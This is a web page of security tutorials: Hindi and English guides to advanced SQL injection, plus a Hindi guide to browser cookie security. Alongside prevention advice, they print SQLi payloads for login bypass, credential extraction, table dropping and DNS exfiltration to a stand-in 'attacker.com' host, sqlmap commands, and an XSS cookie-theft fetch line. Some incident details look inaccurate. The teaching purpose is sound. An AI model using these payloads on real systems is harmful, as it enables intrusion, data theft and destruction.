CybersLion

Advanced SQL Injection Guide (हिंदी) — SQLi तकनीकें, प्रैक्टिकल लैब और बचाव (2025)

 

SQL Injection: उन्नत गाइड — विस्तृत उपयोग और प्रैक्टिस (हिंदी, 2025)


Meta Description: SQL Injection (SQLi) का उन्नत हिंदी गाइड — प्रकार, स्टैक्ड/ब्लाइंड/आउट-ऑफ-बैंड तकनीकें, प्रैक्टिकल payloads, टूल्स (sqlmap, Burp), और प्रभावी बचाव। केवल एथिकल/अधिकारिक प्रयोग के लिए।
Primary Keywords: SQL Injection हिंदी, SQLi गाइड, SQLi प्रैक्टिस, sqlmap, Blind SQL Injection, SQL Injection prevention, SQL Injection lab


परिचय — SQL Injection क्या है और क्यों महत्वपूर्ण है

SQL Injection (SQLi) एक वेब एप्लिकेशन कमजोरी है जहाँ अन-विश्वसनीय इनपुट सीधे SQL क्वेरी में सम्मिलित कर दिया जाता है, जिससे हमलावर डेटाबेस क्वेरी की लोजिक बदल सकता है। इसका दुरुपयोग अतिरिक्त डेटा एक्सफिल्ट्रेशन, ऑथेंटिकेशन बाईपास, डेटा मॉडिफिकेशन, और गंभीर परिस्थितियों में सिस्टम-लेवल एक्सेक्यूशन तक ले जा सकता है।

महत्त्वपूर्ण: नीचे दिया गया तकनीकी कंटेंट केवल एथिकल हैकिंग, सुरक्षा प्रशिक्षण और अपने/अधिकार प्राप्त लैब पर परीक्षण के लिए है। किसी तीसरे पक्ष की साइट/सिस्टम पर बिना स्पष्ट लिखित अनुमति इन तकनीकों का उपयोग गैरकानूनी और अनैतिक है।


SQL Injection कैसे काम करता है — संक्षेप में

एक साधारण उदाहरण — लॉगिन क्वेरी:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

यदि $username को सत्यापित/साफ़ नहीं किया गया और उपयोगकर्ता "admin' --" इनपुट कर दे, तो क्वेरी बन जाएगी:

SELECT * FROM users WHERE username = 'admin' --' AND password = '...';

-- के बाद का भाग कमेंट हो जाता है — परिणामस्वरूप पासवर्ड की जाँच बाईपास हो सकती है।

यह मूल सिद्धांत — इनपुट से क्वेरी संरचना बदलना — SQLi का आधार है।


SQL Injection के प्रकार (उन्नत वर्गीकरण)

  1. In-Band (Classic) SQLi

    • Error-based: DB त्रुटि संदेशों से जानकारी निकालना।

    • Union-based: UNION SELECT के ज़रिये अतिरिक्त डेटा जोड़ना।

  2. Blind SQLi

    • Boolean-based (आधार-तथ्य): प्रतिक्रिया (true/false) से बिट-बाय-बिट जानकारी तय करना।

    • Time-based: SLEEP()/pg_sleep() जैसी देरी लगाने से निष्कर्ष निकालना।

  3. Out-of-Band (OOB) SQLi

    • जब सीधे आउटपुट न मिले तो DNS/HTTP कड़े के माध्यम से डेटा बाहर भेजवाना (उदा. DNS exfiltration)।

  4. Second-Order SQLi

    • पेलोड पहले DB में स्टोर होता है और बाद में किसी अन्य क्वेरी में निष्पादित होता है।

  5. Stacked Queries

    • कई SQL बयान एक साथ भेजना (यदि DB/ड्राइवर अनुमति देते हैं) — उदाहरण ; DROP TABLE users;


उपयोगी उपकरण (Ethical use only)

  • sqlmap — ऑटोमेटेड SQLi परीक्षण/एक्सफिल्ट्रेशन। (sqlmap -u "http://target/vuln?id=1" --dbs)

  • Burp Suite — इंटरसेप्ट, रिपीट और इंट्रूडर फज़िंग।

  • OWASP ZAP — ओपन-सोर्स वेब स्कैनिंग।

  • jSQL / Havij / jBroFuzz — विज्ञानार्थी/एफ़िशिएंसी टूल्स (शिक्षण हेतु)।

  • DVWA, WebGoat, Juice Shop — लैब वल्नरेबल एप्स।

हमेशा केवल कंट्रोल्ड लैब या लिखित अनुमति वाले परिक्षेत्र पर ही प्रयोग करें।


प्रैक्टिकल लैब: सुरक्षित तरीके से अभ्यास सेटअप

1) तैयारियाँ (Docker-आधारित)

# DVWA (मूल अभ्यास के लिए) docker run -d --name dvwa -p 8080:80 vulnerables/web-dvwa # OWASP Juice Shop docker run -d --name juice -p 3000:3000 bkimminich/juice-shop

ब्राउज़र में http://localhost:8080 या http://localhost:3000 खोलें। DVWA में security level को Low से High तक बदल कर अभ्यास करें।

2) बेसिक टेस्ट

DVWA → SQL Injection पेज → id = 1 जैसे इनपुट देकर ' OR '1'='1 ट्राय करें और प्रतिक्रिया देखें।

3) Automated Test (sqlmap)

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=..." --dbs

यह DBs की सूची निकालने का प्रयास करेगा — केवल अपने लैब पर चलाएँ।


उन्नत पेलोड उदाहरण (शैक्षिक)

ये पेलोड फ़ॉरमेट दर्शाने हेतु हैं। प्रयोग राज्यनिष्ठ लैब तक सीमित रखें।

  • Authentication bypass:

    ' OR '1'='1' --
  • UNION enumeration:

    ' UNION SELECT null, table_name FROM information_schema.tables --
  • Time-based (MySQL):

    ' OR IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0) --
  • Error-based extraction:

    ' AND EXTRACTVALUE(NULL, CONCAT(0x3a, (SELECT version()))) --
  • OOB (DNS exfiltration — MSSQL example using xp_dirtree triggered to attacker controlled host):

    '; exec master..xp_dirtree '\\attacker.com\abc' --

सावधानी: OOB payloads नेटवर्क पर बाहरी कनेक्शन बनाएंगे — केवल अपने टेस्ट नेटवर्क में ही प्रयोग करें।


Advanced Techniques — कहाँ और कैसे उपयोग होते हैं

  1. Blind character-by-character extraction

    • Boolean या Time-based श्रेणियों में एक-एक अक्षर निकालना (डेटाबेस, टेबल नाम, कॉलम नाम) — धीमा पर ज्यादा विश्वसनीय।

  2. Stacked statements

    • कई SQL statements भेजकर सर्वर-साइड कार्रवाई कराना — कुछ DBs (MySQL के कुछ ड्राइवर) यह अनुमति नहीं देते। सुरक्षा टीम के लिए पता लगाना महत्वपूर्ण।

  3. Second-Order

    • इनपुट को sanitize करना ज़रूरी है; क्योंकि कभी-कभी इनपुट बाद में किसी अन्य संदर्भ में रेंडर या क्वेरी में रखा जाता है।

  4. Out-of-Band (OOB)

    • जब सामान्य रिस्पॉन्स उपलब्ध नहीं होता — DNS या HTTP callbacks का प्रयोग करके डेटा बाहर निकाला जाता है। इससे ज्यादा तेज़ निष्कर्ष निकलते हैं पर नेटवर्क कनफिग पर निर्भर करता है।


रोकथाम और बचाव — उत्तम प्रैक्टिस (Advanced)

1) Prepared Statements / Parameterized Queries (अपरिहार्य)

हर जगह जहां यूज़र इनपुट DB में जाता है, वहां prepared statements प्रयोग करें। उदाहरण:

PHP (PDO)

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]);

Python (MySQLdb / pymysql)

cursor.execute("SELECT * FROM users WHERE id=%s", (user_id,))

2) ORM और Query Builders

ORM (Hibernate, Django ORM, SQLAlchemy) का प्रयोग करें — वे अक्सर parameterization और escaping प्रदात करते हैं। पर ORM misuse भी जोखिम है — raw SQL से बचें।

3) Input Validation & Whitelisting

  • नकारात्मक ब्लैकलिस्टिंग से बचें — व्हाइटलिस्टिंग पर भरोसा रखें (उदा. numeric IDs केवल digits)।

  • Length और character limits लागू करें।

4) Least Privilege DB Accounts

  • एप्लिकेशन DB यूज़र को केवल आवश्यक permissions दें — admin/root प्रयोग न करें।

  • अलग-अलग सर्विसेज़ के लिए अलग यूज़र रखें।

5) Error Handling

  • त्रुटि संदेशों में DB स्ट्रक्चर या क्वेरी विवरण न दें। लॉग में रखें पर यूज़र को generic error दिखाएँ।

6) WAF and Monitoring

  • ModSecurity, Cloudflare WAF आदि से सामान्य पैटर्न रोकें। पर WAF पर भरोसा अकेले पर्याप्त नहीं — सही कोड प्राथमिक रक्षा है।

  • लॉगिंग: अनपेक्षित समय लेनदेन, SQL त्रुटियाँ, और शंकास्पद पैटर्न मॉनिटर करें।

7) रेगुलर टेस्टिंग (DAST/SAST)

  • Static code analysis (SAST) से कोड में कमजोर स्थान खोजें।

  • Dynamic scanning (DAST) और पेन-टेस्टिंग शेड्यूल करें।


SQLi डिटेक्शन और इंडिकेटर्स

  • असामान्य slow queries या response delays (time-based payloads का संकेत)।

  • बार-बार DB त्रुटि messages या stack traces (यदि exposed)।

  • अनपेक्षित outbound DNS/HTTP कॉल्स (OOB exfiltration का संकेत)।

  • लॉग में UNION, ' OR 1=1, SLEEP( जैसे पैटर्न्स की आवृत्ति।


प्रसिद्ध घटनाओं से सीख

  • कई बड़े उल्लंघन SQLi के कारण हुए — हमेशा पैटर्न है: legacy code, raw query concatenation, और permissive DB privileges।

  • सिक्योरिटी टीम्स को चाहिए कि वे Dev/QA stage पर सख्त ऑडिट रखें और production deploy से पहले SAST/DAST चलाएँ।


Quick-Reference Cheat Sheet (हिंदी सारांश)

  • टेस्ट पेलोड (बेसिक): ' OR '1'='1

  • कमेंट: -- या #

  • UNION-extract: ' UNION SELECT column1, column2 FROM users --

  • Time-based: OR IF(condition, SLEEP(5), 0)

  • Error-based: EXTRACTVALUE(NULL, CONCAT(0x3a, (SELECT database())))

  • sqlmap उदाहरण:

    sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1" --cookie="PHPSESSID=..." --dbs

नैतिक और कानूनी नोट्स (अनिवार्य)

  • किसी भी सिस्टम पर SQLi का उपयोग बिना स्पष्ट लिखित अनुमति अवैध है।

  • यह गाइड केवल सुरक्षा-प्रशिक्षण और अपने/वर्चुअल लैब पर प्रयोग के लिए है।

  • अगर आपने प्रोडक्शन में संभावित SQLi पाया है तो responsible disclosure प्रक्रिया अपनाएँ — पहले सिस्टम मालिक को सूचित करें और कानून का पालन करें।


निष्कर्ष

SQL Injection एक पुराना पर अत्यंत प्रभावी हमला है — पर पूरी तरह से रोका जा सकता है। सुरक्षा-प्रथाएँ — parameterized queries, input validation, least privilege, और continuous testing — मिलकर इस ख़तरे को समाप्त कर सकती हैं। सुरक्षा पेशेवरों के लिए अनुशासनित लैब अभ्यास (DVWA, Juice Shop, WebGoat) और automated/मैनुअल परीक्षण का संयोजन अनिवार्य है।

Advanced SQL Injection Guide — Techniques, Practical Usage & Prevention (2025)

 

SQL Injection: Advanced Guide with Detailed Usage and Practice (2025)


Meta Description: Learn SQL Injection (SQLi) in depth — types, exploitation methods, step-by-step practice labs, detection, and defense strategies. Perfect for ethical hackers, penetration testers, and cybersecurity learners.
Focus Keywords: SQL Injection, SQLi attacks, SQL Injection practice, SQL Injection prevention, SQL injection tools, SQL injection examples, ethical hacking SQLi


🧩 Introduction — What is SQL Injection?

SQL Injection (SQLi) is a web application security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It occurs when untrusted input is concatenated directly into an SQL query without proper sanitization.

Through SQL Injection, attackers can:

  • Access unauthorized data (like usernames, passwords, credit cards).

  • Modify or delete database data.

  • Bypass authentication.

  • Execute administrative operations on the database.

  • Even gain full system access in advanced cases (via stacked queries, OS command injection).


⚙️ How SQL Injection Works — Concept Overview

Consider a simple login query:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

If user inputs are not sanitized, an attacker can enter:

Username: admin' -- Password: anything

The resulting query becomes:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';

The -- comment ignores the rest, making the query valid and logging the attacker in without a password.


🧠 Advanced Understanding — SQL Query Manipulation

SQL Injection works by breaking query logic. Attackers inject crafted payloads that modify SQL structure.

Examples:

  • ' OR '1'='1 — Bypass login authentication.

  • UNION SELECT — Combine results from multiple queries to extract data.

  • ORDER BY and LIMIT misuse — Enumerate database columns.

  • ; DROP TABLE users; — Destructive commands (in stacked queries).

  • INFORMATION_SCHEMA queries — Extract database metadata.


🧩 Types of SQL Injection (Advanced Classification)

1. Classic (In-band) SQL Injection

Attacker gets immediate results via the same web response.

  • Error-based SQLi: Exploits database error messages to extract info.

  • Union-based SQLi: Combines results using UNION SELECT.

2. Blind SQL Injection

No visible errors — attacker infers results through responses.

  • Boolean-based Blind: Application behavior (true/false) reveals data.

  • Time-based Blind: Delays (e.g., SLEEP(5)) confirm injected logic.

3. Out-of-band SQL Injection

Data is extracted through external channels (e.g., DNS or HTTP requests).

  • Useful when the attacker cannot get direct output.

4. Second-Order SQL Injection

Malicious payload stored in the database executes later when fetched by another query.


🧪 Practical Examples — Hands-on SQL Injection Usage

⚠️ Warning: Practice these techniques only in controlled labs such as DVWA, bWAPP, WebGoat, or your local vulnerable environment. Performing them on live systems without permission is illegal.


🔹 Example 1: Authentication Bypass (Basic)

Vulnerable Code:

$query = "SELECT * FROM users WHERE username = '".$_POST['user']."' AND password = '".$_POST['pass']."'";

Input:

Username: admin' -- Password: anything

Injected Query:

SELECT * FROM users WHERE username='admin'--' AND password='anything';

Result: Bypasses authentication and logs in as admin.


🔹 Example 2: UNION-Based SQL Injection

Used to extract data from other tables.

Payload:

' UNION SELECT username, password FROM users--

If the original query was:

SELECT name, email FROM customers WHERE id='1';

After injection, it becomes:

SELECT name, email FROM customers WHERE id='1' UNION SELECT username, password FROM users--';

Result: Displays data from the users table.


🔹 Example 3: Error-Based SQL Injection

Payload:

' AND EXTRACTVALUE(NULL, CONCAT(0x3a, version()))--

Response: Returns database version (e.g., :5.7.34).


🔹 Example 4: Blind Boolean SQL Injection

Payload 1:

' AND 1=1--

Payload 2:

' AND 1=2--

If the first payload returns a normal page and the second fails, you know SQL Injection exists.


🔹 Example 5: Time-Based Blind SQL Injection

Used when no visible error or output.

Payload:

' OR IF(1=1, SLEEP(5), 0)--

If the server response delays by 5 seconds, injection succeeded.


🔹 Example 6: Extracting Database Info

Payloads:

' UNION SELECT null, database()-- ' UNION SELECT null, table_name FROM information_schema.tables-- ' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT username, password FROM users--

Result: Gradually enumerates the database schema.


🧰 Tools for SQL Injection Testing (Ethical Use Only)

Tool NameDescriptionUsage
sqlmapOpen-source automated SQLi exploitation tool.sqlmap -u "http://target.com/page.php?id=1" --dbs
HavijGUI-based SQLi tool for Windows (educational use).Extracts DB name, tables, data automatically.
Burp SuiteWeb proxy for intercepting and testing SQL payloads.Use Intruder and Repeater for fuzzing parameters.
OWASP ZAPOpen-source web security scanner.Detects SQLi vulnerabilities.
jSQL InjectionJava-based SQLi testing tool.Supports injection into parameters and headers.

🧠 Pro Tip: Always test in lab setups like DVWA, Mutillidae, WebGoat, or bWAPP. Never use these tools on public domains without permission.


🔍 Step-by-Step Practice Lab Setup (Beginner to Advanced)

🧱 Step 1: Setup Environment

Install locally using XAMPP or Docker:

docker run -it -p 8080:80 vulnerables/web-dvwa

Access via: http://localhost:8080
Login with:

Username: admin Password: password

🧱 Step 2: Enable SQL Injection Practice

  • Go to DVWA Security Settings → Set to Low.

  • Navigate to Vulnerabilities → SQL Injection.

🧱 Step 3: Inject Payloads

Try:

1' OR '1'='1 --

Observe query manipulation in source code.

🧱 Step 4: Increase Difficulty

Set DVWA Security to Medium and High.
Try sqlmap:

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xyz" --dbs

sqlmap automatically detects DB type, columns, and extracts data.


🧩 Advanced SQL Injection Techniques (For Penetration Testers)

1. Stacked Queries

Inject multiple SQL statements separated by semicolons (;).

1'; DROP TABLE users; --

(Works only when database supports stacked queries and the application allows multiple statements.)

2. Blind Injection via Conditional Time Delays

1' OR IF(SUBSTRING(@@version,1,1)='5', SLEEP(3), 0)--

Used to extract version character-by-character.

3. Out-of-Band (OOB) Data Exfiltration

'; exec master..xp_dirtree '//attacker.com/a'--

Triggers outbound DNS/HTTP requests to the attacker’s server, confirming injection.

4. Second-Order Injection

Payload inserted once (e.g., registration form) but executed later (e.g., admin dashboard query).
Mitigation: Sanitize data both on input and before query execution.


🔐 Prevention — Defending Against SQL Injection

SQL Injection prevention is about proper input handling, query parameterization, and secure configurations.

✅ 1. Use Parameterized Queries / Prepared Statements

PHP (PDO)

$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?"); $stmt->execute([$username, $password]);

Python (MySQL)

cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))

Java (JDBC)

PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username=? AND password=?"); stmt.setString(1, username); stmt.setString(2, password);

✅ 2. Input Validation & Escaping

  • Validate input types (e.g., numeric fields accept only numbers).

  • Escape special characters if dynamic queries are unavoidable.

  • Use ORM frameworks (like Hibernate, Django ORM) that auto-sanitize inputs.


✅ 3. Limit Database Privileges

  • Web app DB accounts should have read/write-only permissions.

  • Never connect with admin or root privileges.


✅ 4. Disable Detailed Error Messages

  • Use generic error responses.

  • Log technical details server-side, but don’t expose them to users.


✅ 5. Web Application Firewalls (WAF)

Deploy tools like:

  • ModSecurity (Apache/Nginx)

  • AWS WAF

  • Cloudflare WAF
    They detect and block common SQL injection payloads.


✅ 6. Regular Vulnerability Testing

Use scanners like:

  • OWASP ZAP

  • Burp Suite

  • Nessus
    Run tests periodically and patch detected vulnerabilities.


⚡ SQL Injection Detection Techniques

  • Static Analysis (SAST): Detect vulnerable code patterns.

  • Dynamic Analysis (DAST): Simulate attacks on running apps.

  • Fuzz Testing: Insert random/special characters in inputs to observe behavior.

  • Log Monitoring: Detect abnormal SQL errors or query patterns.


🧠 Real-World SQL Injection Incidents

YearCompanyImpact
2019TalkTalk (UK)156,000 user data stolen via SQLi
2020Shopify app partnerExposed merchant data
2021Pixlr photo editor1.9M user accounts leaked
2022Indian Govt website (reported by researcher)Citizen data accessible via SQLi
2023WooCommerce plugin flawE-commerce site compromise

Lesson: Even large organizations remain vulnerable when developers skip sanitization or parameterization.


📋 SQL Injection Cheat Sheet (Quick Reference)

ActionPayload Example
Test for SQLi' OR '1'='1
Comment rest of query--, #, /* */
Extract DB version' UNION SELECT @@version--
Extract current DB' UNION SELECT database()--
Enumerate tables' UNION SELECT table_name FROM information_schema.tables--
Enumerate columns' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
Extract credentials' UNION SELECT username, password FROM users--

💡 Pro Tips for Security Professionals

  • Combine manual testing with automated tools.

  • Practice on OWASP DVWA, Mutillidae, Juice Shop, WebGoat.

  • Use Burp Suite Intruder for fuzzing.

  • Create custom wordlists for payload discovery.

  • Regularly update SQLi payload repositories (like PayloadsAllTheThings).


🧱 Conclusion — Secure Code is the Best Defense

SQL Injection remains one of the most powerful and dangerous web vulnerabilities — yet it is entirely preventable.
By using parameterized queries, validating inputs, and adopting least-privilege database access, you can eliminate SQLi risks completely.

Practice ethically, think defensively, and code securely.


SEO Keywords Recap:
SQL Injection, SQLi attacks, SQL Injection practice, SQL Injection prevention, SQL Injection examples, SQL Injection tools, SQLi exploitation, ethical hacking SQLi tutorial, OWASP SQL injection.

कुकीज़ और वेब ब्राउज़र — पूर्ण प्रैक्टिकल गाइड (2025)

 

कुकीज़ और वेब ब्राउज़र्स: विस्तृत उपयोग और प्रायोगिक गाइड (2025) — हिंदी


Meta Description: सीखें कि ब्राउज़र कुकीज़ कैसे काम करती हैं, Set-Cookie हेडर के घटक, सुरक्षित फ़्लैग (HttpOnly, Secure, SameSite), कुकी-आधारित हमले और हाथों-हाथ अभ्यास (DevTools, curl, JavaScript, सर्वर-साइड उदाहरण)। सर्वश्रेष्ठ अभ्यास और अनुपालन टिप्स।
Primary Keywords: ब्राउज़र कुकीज़, HttpOnly, SameSite, Secure cookie, Set-Cookie, cookie security, cookie best practices, DevTools में कुकी देखना, कुकी ट्यूटोरियल (हिंदी)


परिचय — क्यों कुकीज़ अभी भी महत्त्वपूर्ण हैं

कुकीज़ छोटे डेटा के टुकड़े होते हैं जो वेबसाइट्स आपके ब्राउज़र में स्टोर करवाती हैं। वे आधुनिक वेब का आधार हैं — सेशन मैनेजमेंट, ऑथेंटिकेशन, पर्सनलाइज़ेशन, ट्रैकिंग और A/B टेस्टिंग जैसी सुविधाओं के लिए कुकीज़ आवश्यक हैं।

इस गाइड में आप सीखेंगे: कुकीज़ कैसे काम करती हैं, ब्राउज़र कब और कैसे कुकी भेजते हैं, सुरक्षा गुण (HttpOnly, Secure, SameSite), सामान्य हमले और प्रभावी बचाव, और व्यावहारिक प्रयोग जिन्हें आप अपने लोकल लैब पर कर सकते हैं।

नोट: सभी प्रयोग केवल अपनी मशीन या उस सिस्टम पर करें जिसके लिए आपके पास अनुमति है। अनधिकृत परीक्षण गैरकानूनी हो सकता है।


कुकी क्या है? — सरल परिभाषा

कुकी एक name=value जोड़ी है जिसे सर्वर ब्राउज़र को Set-Cookie हेडर के माध्यम से भेजता है। बाद में ब्राउज़र उसी डोमेन/पाथ पर अनुरोध करते समय Cookie हेडर में वह कुकी भेज देता है। कुकी का उपयोग सर्वर साइड सेशन पहचान, उपयोगकर्ता प्राथमिकता, या छोटे-छोटे टोकन के रूप में होता है।


Set-Cookie हेडर की संरचना (Anatomy)

Set-Cookie: sessionId=abc123; Path=/; Domain=example.com; Expires=Wed, 27 Nov 2025 12:00:00 GMT; Secure; HttpOnly; SameSite=Strict

मुख्य घटक:

  • name=value — कुकी का डेटा।

  • Expires / Max-Age — जीवनकाल; न होने पर सत्र कुकी बनी रहती है (ब्राउज़र बंद होते ही हटती है)।

  • Path — URL पाथ का स्कोप।

  • Domain — किस होस्ट/सबडोमेन पर कुकी लागू होगी।

  • Secure — केवल HTTPS पर भेजें।

  • HttpOnly — JavaScript (document.cookie) से पढ़ी नहीं जा सकती।

  • SameSite — क्रॉस-साइट अनुरोधों में भेजने का व्यवहार (Strict, Lax, None)।

  • Priority (कुछ ब्राउज़र्स) — eviction निर्णय प्रभावित कर सकती है।


कुकी के प्रकार

  • Session Cookies: ब्राउज़र बंद होने पर हट जाती हैं (no Expires/Max-Age)।

  • Persistent Cookies: Expires/Max-Age के साथ रहती हैं।

  • Secure Cookies: केवल HTTPS पर भेजी जाती हैं।

  • HttpOnly Cookies: JavaScript से एक्सेस नहीं हो सकतीं — XSS सुरक्षा में मदद।

  • SameSite Cookies: क्रॉस-साइट संदर्भों पर भेजने को नियंत्रित करती हैं।

  • First-party vs Third-party: पहली पार्टी वही डोमेन जो आप विजिट कर रहे हैं; थर्ड-पार्टी एड/एनालिटिक्स जैसे डोमेन्स से बनती हैं।


ब्राउज़र कुकी कब भेजते हैं?

ब्राउज़र तब कुकी भेजता है जब:

  • अनुरोध का डोमेन कुकी के Domain से मेल खाता हो,

  • पाथ Path से मैच करे,

  • कुकी एक्सपायर न हुई हो,

  • यदि Secure है तो अनुरोध HTTPS हो,

  • और SameSite नीति अनुरोध के संदर्भ से मेल खाती हो।

SameSite सारांश:

  • Strict: क्रॉस-साइट नेविगेशन/सब-रिप्लिकेशन पर कुकी नहीं भेजी जाती — सबसे सुरक्षित।

  • Lax: टॉप-लेवल नेविगेशन (GET) पर भेजी जा सकती है, पर अधिकतर क्रॉस-साइट सब-रिसोर्स पर नहीं।

  • None: सभी संदर्भों में भेजी जाती है — उपयोग के लिए Secure ज़रूरी है।


सर्वर-साइड उदाहरण — कुकी कैसे सेट करें

Node.js (Express)

res.cookie('sessionId', 'abc123', { httpOnly: true, secure: true, sameSite: 'lax', maxAge: 24 * 60 * 60 * 1000 // 1 day });

Python (Flask)

from flask import make_response resp = make_response('Logged in') resp.set_cookie('sessionId', 'abc123', httponly=True, secure=True, samesite='Lax', max_age=86400) return resp

PHP

setcookie('sessionId', 'abc123', [ 'expires' => time() + 86400, 'path' => '/', 'domain' => 'example.com', 'secure' => true, 'httponly' => true, 'samesite' => 'Lax' ]);

JavaScript में कुकी पढ़ना/लिखना

Read

console.log(document.cookie);

Set (non-HttpOnly)

document.cookie = "theme=dark; Path=/; Max-Age=31536000";

ध्यान: HttpOnly कुकीज़ document.cookie से दिखाई नहीं देतीं — यही इन्हें XSS से सुरक्षित बनाता है।


प्रायोगिक अभ्यास (Hands-on Exercises) — केवल अपने लैब पर करें

सभी प्रयोग केवल आपके लोकल होस्ट या आप जिन पर अधिकार रखते हैं, वहां करें।

अभ्यास 1 — DevTools में कुकी देखें (Chrome)

  1. अपना लोकल साइट (या http://localhost:3000) खोलें।

  2. F12ApplicationStorageCookies

  3. कुकी के नाम, वैल्यू, डोमेन, पाथ, expiry और फ़्लैग (HttpOnly, Secure, SameSite) देखें।

अभ्यास 2 — curl से कुकी भेजना

curl -v -b "sessionId=abc123" https://example.com/dashboard

अभ्यास 3 — SameSite व्यवहार जाँच

  1. दो लोकल होस्ट/पोर्ट बनाएं: site-a.local:3000 और site-b.local:4000.

  2. site-a पर <img src="http://site-b.local:4000/track"> रखें और देखें कि site-b कौन-सी कुकी प्राप्त करती है।

  3. SameSite बदलकर None; Secure सेट करें और फिर अंतर देखें।

अभ्यास 4 — XSS Exfiltration (lab only)

  1. vulnerable test page बनाएं जो इनपुट echo करे बिना sanitize किए।

  2. controlled payload डालें जो fetch('https://attacker/collect?c='+document.cookie) करे।

  3. अगर session कुकी HttpOnly है, तो document.cookie उसे नहीं दिखाएगा — इससे HttpOnly का लाभ स्पष्ट होता है।


आम सुरक्षा समस्याएँ और बचाव

1) XSS (Cross-Site Scripting)

  • जोखिम: injected JS document.cookie पढ़कर कुकी चुरा सकता है।

  • बचाव: session कुकीज़ पर HttpOnly लगाएं; इनपुट sanitize/escape करें; CSP लागू करें।

2) CSRF (Cross-Site Request Forgery)

  • जोखिम: ब्राउज़र ऑटोमेटिकली कुकी भेजता है और हमलों से नॉक-ऑन-इफेक्ट हो सकता है।

  • बचाव: SameSite=Lax/Strict, CSRF टोकेन, double-submit cookie, या origin/Referer जाँच।

3) HTTP पर कुकी चोरी (MitM)

  • जोखिम: कुकी cleartext में ट्रैफिक पर पकड़ी जा सकती है।

  • बचाव: हमेशा HTTPS और Secure फ़्लैग; HSTS सक्षम करें।

4) Session Fixation

  • जोखिम: attacker किसी को पूर्व निर्धारित sessionId दे देता है।

  • बचाव: लॉगिन पर session id regenerate करें; short expiry रखें।

5) Third-party Tracking

  • जोखिम: थर्ड-पार्टी कुकीज़ यूज़र को साइट-टू-साइट ट्रैक कर सकती हैं।

  • बचाव: थर्ड-पार्टी कुकी ब्लॉक करें; privacy-first approaches अपनाएँ; consent management लागू करें।


सर्वश्रेष्ठ अभ्यास (Checklist)

  • हमेशा HTTPS पर साइट चलाएँ और कुकी पर Secure लगाएँ।

  • ऑथेंटिकेशन/सेशन कुकीज़ HttpOnly रखें।

  • रूटीन के लिए SameSite=Lax या ज़्यादा सुरक्षित के लिए Strict उपयोग करें।

  • असंवेदनशील डेटा को कुकी में न रखें; केवल session-id स्टोर करें।

  • कुकी का Domain/Path सीमित रखें — ज़्यादा व्यापक न रखें।

  • संवेदनशील कुकीज़ के लिए कम लाइफटाइम व ऑटो रोटेशन लागू करें।

  • XSS को कम करने के लिए CSP और output encoding अपनाएँ।

  • GDPR/ePrivacy के अनुरूप cookie consent और cookie policy रखें।


आधुनिक गोपनीयता व ब्राउज़र बदलाव

  • ब्राउज़र्स (Safari, Firefox, Chrome) थर्ड-पार्टी कुकीज़ पर सीमाएँ लगा रहे हैं और partitioned storage जैसी तकनीकें ला रहे हैं — इससे tracking घटेगा।

  • ब्राउज़र डिफ़ॉल्ट रूप से SameSite=Lax व्यवहार दिखाते हैं; स्पष्ट नीति लगाना बेहतर है।

  • GDPR/ई-प्राइवेसी नियमों के कारण अनावश्यक ट्रैकिंग कुकीज़ के लिए उपयोगकर्ता की सहमति अनिवार्य है — consent logs रखें।


सर्वर-साइड सेशन बनाम टोकन बेस्ड ऑथ

  • Session (cookie): सर्वर पर session data। कुकी में केवल session id। सुरक्षित फ़्लैग्स के साथ सुरक्षित।

  • Token (JWT): अक्सर localStorage में स्टोर होता है — XSS के प्रति संवेदनशील। यदि JWT का उपयोग करें तो उसे HttpOnly Secure cookie में रखें और CSRF से सावधान रहें।


माइग्रेशन टिप्स: insecure कुकी → secure कुकी

  1. मौजूदा कुकी का ऑडिट (DevTools + server logs)।

  2. क्रमशः Secure, HttpOnly, SameSite जोड़ें; टेस्ट करते हुए deploy करें।

  3. लाइफटाइम कम करें और session rotation लागू करें।

  4. महत्वपूर्ण टारगेट्स को सर्वर-साइड सेशन में रखें।

  5. यूज़र को सूचित करें यदि लॉगिन/SSO व्यवहार बदलता है।


डिबगिंग टिप्स और टूल्स

  • Chrome/Firefox DevTools (Application → Cookies) — कुकी फ़ील्ड्स देखें।

  • curl -v / curl -ISet-Cookie हेडर देखें/सिमुलेट करें।

  • Burp Suite / OWASP ZAP — इंटरसेप्ट करें और कुकी हेडर मोडिफाई कर परीक्षण करें (lab only)।

  • SecurityHeaders.io / Mozilla Observatory — साइट हेडर व कुकी-संबंधी सुझाव।

  • अलग ब्राउज़र प्रोफ़ाइल्स — अलग-अलग कुकी/एक्सटेंशन व्यवहार जाँचने हेतु।


निष्कर्ष — कुकीज़ शक्तिशाली हैं; सुरक्षित उपयोग ज़रूरी है

कुकीज़ आधुनिक वेब के कामकाजी हिस्से हैं। सही तरीके से सेट की गई कुकीज़ (Secure, HttpOnly, SameSite) और HTTPS के साथ वे सुरक्षित रहती हैं और बेहतर उपयोगकर्ता अनुभव देती हैं। पर गलत कॉन्फ़िगरेशन XSS, CSRF, और सेशन-हाईजैक जैसी समस्याओं को जन्म दे सकती है।

लैब अभ्यास करके — DevTools, curl, और स्थानीय वेब ऐप्स पर — आप कुकी व्यवहार समझकर प्रकाश डाल सकते हैं कि क्या सुरक्षित है और कहाँ सुधार की ज़रूरत है। हमेशा कानूनी और एथिकल दायरे में रहकर परीक्षण करें और उत्पादन में कॉन्फ़िगरेशन बदलते समय सावधानी बरतें।

Cookies & Web Browsers — Complete Practical Guide (2025)

 

Cookies & Web Browsers: Detailed Usage with Practical Guide (2025)


